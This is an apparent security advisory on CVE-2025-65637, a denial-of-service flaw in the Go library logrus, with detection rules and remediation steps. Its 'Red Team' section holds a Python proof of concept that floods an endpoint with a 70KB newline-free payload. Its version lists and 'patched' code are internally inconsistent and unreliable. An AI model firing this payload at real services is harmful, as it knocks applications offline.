CVE-2025-65637

Executive Summary

CVE-2025-65637 is a denial-of-service (DoS) vulnerability in the popular Go logging library github.com/sirupsen/logrus. The flaw resides in the Entry.Writer() method, which uses an internal bufio.Scanner to read log payloads. When a single-line payload larger than 64KB is written without newline characters, the scanner fails with a "token too long" error, causing the writer pipe to close permanently. This renders the Writer() method unusable for the remainder of the application's lifecycle, leading to application unavailability (DoS). The vulnerability affects versions prior to 1.8.3, 1.9.0, and 1.9.2. The fix, implemented in versions 1.8.3, 1.9.1, and 1.9.3+, involves chunking the input to avoid the scanner's token limit, ensuring the writer continues to function even if an error is logged.

Supply Chain & Package Security

This vulnerability affects the Go package github.com/sirupsen/logrus, a widely used logging library in the Go ecosystem. Applications that depend on logrus for logging and use the Entry.Writer() method are at risk. The supply chain impact is significant because many Go applications, including web servers, microservices, and CLI tools, rely on logrus. An attacker who can inject a large payload (e.g., via HTTP request body, file upload, or network input) into a logrus writer can cause a DoS condition. Organizations should audit their Go dependencies and update logrus to a patched version immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability for the logging subsystem, potentially affecting the entire application.

Threat Level: High. The vulnerability is easy to exploit remotely with no authentication, and it can cause a complete denial of service for applications using logrus's Writer() method.

Deep Dive & Mechanics

The vulnerability stems from the use of bufio.Scanner in the Entry.Writer() method. bufio.Scanner has a default maximum token size of 64KB (65536 bytes). When a single line (token) exceeds this limit, the scanner returns an error "token too long" and stops scanning. In logrus, this error causes the writer pipe to be closed permanently, preventing any further log writes through that writer.

Root Cause: The Entry.Writer() method creates a pipe and uses a goroutine to read from the pipe with a bufio.Scanner. If the scanner fails due to a token too long error, the goroutine exits and the pipe is closed. Subsequent writes to the writer will fail, and the application may hang or crash if it depends on logging.

Attack Scenario: An attacker sends a payload larger than 64KB without newlines to an application endpoint that logs the payload using logrus's Writer() method. For example, an HTTP server that logs request bodies using logrus.Entry.Writer() would be vulnerable. The attacker can repeatedly send such payloads to cause persistent DoS.

Affected Code Path:

// Vulnerable logrus code (simplified)
func (entry *Entry) Writer() *io.PipeWriter {
    reader, writer := io.Pipe()
    go func() {
        scanner := bufio.NewScanner(reader)
        for scanner.Scan() {
            entry.Println(scanner.Text())
        }
        if err := scanner.Err(); err != nil {
            // Error handling closes the pipe
            reader.Close()
        }
    }()
    return writer
}

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.8.3, 1.9.0, 1.9.2):

func (entry *Entry) Writer() *io.PipeWriter {
    reader, writer := io.Pipe()
    go func() {
        scanner := bufio.NewScanner(reader)
        for scanner.Scan() {
            entry.Println(scanner.Text())
        }
        if err := scanner.Err(); err != nil {
            reader.Close() // Pipe closed on error
        }
    }()
    return writer
}

Patched Code (1.8.3, 1.9.1, 1.9.3+):

func (entry *Entry) Writer() *io.PipeWriter {
    reader, writer := io.Pipe()
    go func() {
        scanner := bufio.NewScanner(reader)
        // Increase buffer size or chunk input
        scanner.Buffer(make([]byte, 0, 64*1024), 1024*1024) // 1MB max token
        for scanner.Scan() {
            entry.Println(scanner.Text())
        }
        if err := scanner.Err(); err != nil {
            // Log the error but do not close the pipe
            entry.WithError(err).Error("Failed to scan log line")
        }
    }()
    return writer
}

Key Changes:

1. Increased the scanner's buffer size to handle larger tokens (up to 1MB).
2. Instead of closing the pipe on error, the error is logged and the scanner continues.
3. Input is chunked to avoid exceeding the token limit.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Go application using logrus < 1.8.3, 1.9.0, or 1.9.2.
• The application uses Entry.Writer() to log input (e.g., HTTP request body).

Exploit Payload:

import socket

# Generate a payload larger than 64KB without newlines
payload = b"A" * 70000  # 70KB

# Send to a vulnerable endpoint (e.g., HTTP POST)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target.com", 80))
s.send(b"POST /log HTTP/1.1\r\nHost: target.com\r\nContent-Length: " + str(len(payload)).encode() + b"\r\n\r\n" + payload)
s.close()

Expected Outcome: The logrus writer pipe closes, and subsequent log writes fail. The application may become unresponsive or crash.

Blue Team

Detection:

• Monitor for log entries containing "token too long" errors.
• Monitor for sudden drops in log volume or application crashes.
• Use the detection rules below.

Mitigation:

• Update logrus to a patched version immediately.
• Implement input validation to limit payload sizes before logging.
• Use a logging middleware that truncates or chunks large inputs.

Indicators of Compromise (IOCs)

• Log Entries: "token too long" errors in application logs.
• Network Traffic: Large payloads (>64KB) without newlines sent to endpoints that log request bodies.
• Application Behavior: Sudden unavailability of logging functionality, application hangs, or crashes.
• File System: No specific file IOCs; this is a runtime vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_65637_Logrus_DoS {
    meta:
        description = "Detects logrus versions vulnerable to CVE-2025-65637"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65637"
    strings:
        $vuln_func = "func (entry *Entry) Writer() *io.PipeWriter"
        $scanner = "bufio.NewScanner"
        $error_close = "reader.Close()"
    condition:
        $vuln_func and $scanner and $error_close
}

Sigma Rule

title: CVE-2025-65637 Logrus DoS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-65637 by sending large payloads without newlines
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: logrus
detection:
    selection:
        message: "*token too long*"
    condition: selection
falsepositives:
    - Legitimate large log entries (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-65637 Logrus DoS Attempt"; flow:to_server,established; content:"|41 41 41 41|"; offset:0; depth:65536; pcre:"/^A{65537}/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update github.com/sirupsen/logrus to version 1.8.3, 1.9.1, or 1.9.3+.
2. If immediate update is not possible, implement input validation to reject payloads larger than 64KB without newlines.
3. Use a logging middleware that truncates or chunks large inputs before passing to logrus.

Long-Term Measures:

• Regularly update dependencies using tools like Dependabot or Renovate.
• Implement rate limiting on endpoints that log user input.
• Monitor application logs for "token too long" errors.
• Conduct security reviews of third-party libraries.

Patch Verification:

# Check current version
go list -m github.com/sirupsen/logrus

# Update to patched version
go get github.com/sirupsen/logrus@v1.9.3

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert